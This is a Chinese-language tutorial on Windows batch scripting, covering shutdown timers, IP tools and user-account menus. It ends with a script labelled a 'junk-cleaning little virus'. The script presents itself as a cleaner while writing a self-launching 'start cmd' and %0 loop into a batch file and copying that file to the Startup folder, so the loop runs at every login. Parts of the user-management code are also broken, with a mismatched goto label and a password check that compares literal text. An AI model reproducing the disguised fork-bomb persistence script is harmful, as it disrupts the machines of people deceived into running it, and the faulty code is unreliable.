批处理命令
echo 输出或者打印
@echo off 关闭回显
title 设置DOS命令窗口标题
echo. 换行
set /p time= 设置输入变量
示例
set /p time=请输入关机时间:
%设置变量名称% 读取设置的变量
示例
shutdown -s -t %time%
pause 暂停
示例(上边命令综合使用)
@echo off
title 定时关机
echo =============================================================
echo.
echo 定时关机小程序
echo.
echo =============================================================
echo.
set /p time=请输入关机时间:
echo.
shutdown -s -t %time%
echo.
echo 设置关机成功!
echo.
echo 将在%time%(秒)后关机
pause
gaoto
示例
goto 后边接要直接运行的地方,和 :变量 一块使用
优化后的bat小程序
@echo off
title 简洁小程序
:mnue
cls
echo ==============================================
echo.
echo 简洁小程序
echo.
echo ==============================================
echo.
echo 1.定时任务 2.ip相关 3.用户相关 4.退出
set /p num=请输入功能选项:
if "%num%" == "1" goto a
if "%num%" == "2" goto b
if "%num%" == "3" goto c
if "%num%" == "4" goto ae
echo.
echo 您输入有误,请重新输入!
echo.
pause
goto mnue
:a
cls
echo ==============================================
echo.
echo 简洁-定时小功能
echo.
echo ==============================================
echo.
echo 1.定时关机 2.定时重启 3.取消定时 4.返回上一级 5.退出
set /p num1=请输入功能选项:
if %num1% == 1 goto aa
if %num1% == 2 goto ab
if %num1% == 3 goto ac
if %num1% == 4 goto ad
if %num1% == 5 goto ae
echo.
echo 您输入有误,请重新输入!
echo.
pause
goto a
:aa
set /p time=请输入关机时间:
shutdown -s -t %time%
echo 将在%time%(秒)后关机
echo.
pause
goto a
:ab
set /p time=请输入重启时间:
shutdown -r -t %time%
echo 将在%time%(秒)后重启
echo.
pause
goto a
:ac
shutdown -a
echo 取消定时成功!
echo.
pause
goto a
:ad
goto mnue
:ae
exit
:b
cls
echo ==============================================
echo.
echo 简洁-ip小功能
echo.
echo ==============================================
echo.
echo 1.查看当前ip 2.重新获取ip 3.测试连通性 4.查看arp缓存 5.返回上一级 6.退出
set /p num2=请输入功能选项:
if %num2% == 1 goto ba
if %num2% == 2 goto bb
if %num2% == 3 goto bc
if %num2% == 4 goto bd
if %num2% == 5 goto ad
if %num2% == 6 goto ae
echo.
echo 您输入有误,请重新输入!
echo.
pause
goto b
:ba
ipconfig
echo.
pause
goto b
:bb
echo 开始执行......
ipconfig /release >nul
ping 127.0.0.1 -n 2 >nul
ping 127.0.0.1 -n 2 >nul
ping 127.0.0.1 -n 2 >nul
ipconfig /renew
echo.
echo 重新获取成功
echo.
pause
goto b
:bc
set /p pingnum=请输入测试ip:
ping %pingnum%
echo.
pause
goto b
:bd
arp -a
echo.
pause
goto b
:c
cls
echo ==============================================
echo.
echo 简洁-用户小功能
echo.
echo ==============================================
echo.
echo 1.查看用户 2.添加用户 3.删除用户 4.停用/启用用户 5.用户过期时间 6.返回上一级 7.退出
set /p num3=请输入功能选项:
if %num3% == 1 goto ca
if %num3% == 2 goto cb
if %num3% == 3 goto cc
if %num3% == 4 goto cd
if %num3% == 5 goto ce
if %num3% == 6 goto ad
if %num3% == 7 goto ae
:ca
net user
echo.
pause
goto c
:cb
set /p adduser=请输入添加用户名:
set /p addpasswd=请输入添加用户名的密码:
set /p addpasswd1=请确认输入添加用户名的密码:
if addpasswd == addpasswd1 goto sddur
echo.
echo 两次密码输入不一致!请重新开始!
pause
goto c
:addur
net user %adduser% %addpasswd% /add
echo.
pause
goto c
:cc
set /p deluser=请输入要删除的帐户名称:
net user %deluser% /del
echo.
pause
goto c
:cd
set /p jun=停用还是启用(yes/no):
if %jun% == yes goto nt
if %jun% == no goto nt
echo.
echo 请输入yes/no!
pause
goto c
:nt
set /p useractiv=请输入帐户:
net user %useractiv% /active:%jun%
echo.
pause
goto c
:ce
set /p userexp=请输入帐户:
echo.
set /p year=请输入年:
echo.
set /p mon=请输入月(English):
echo.
set /p day=请输入日:
net user %userexp% /expires:%mon%,%day%,%year%
echo.
pause
goto c
下边代码不要在自己电脑使用,切记!!!
垃圾清理小病毒
重点:是将 start cmd和%0 写入到启动项里
%USERPROFILE% 系统变量,获取当前账户的绝对路径文件夹
@echo off title 垃圾清理小程序 echo ============================================== echo. echo 垃圾清理小程序 echo. echo ============================================== echo. echo 正在清理中...... echo start cmd > C:Windows\windows.bat echo %%0 >> C:windows\windows.bat copy C:windows\windows.bat "%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" echo 清理完成,请重启计算机! pause
今天你学废了吗!!!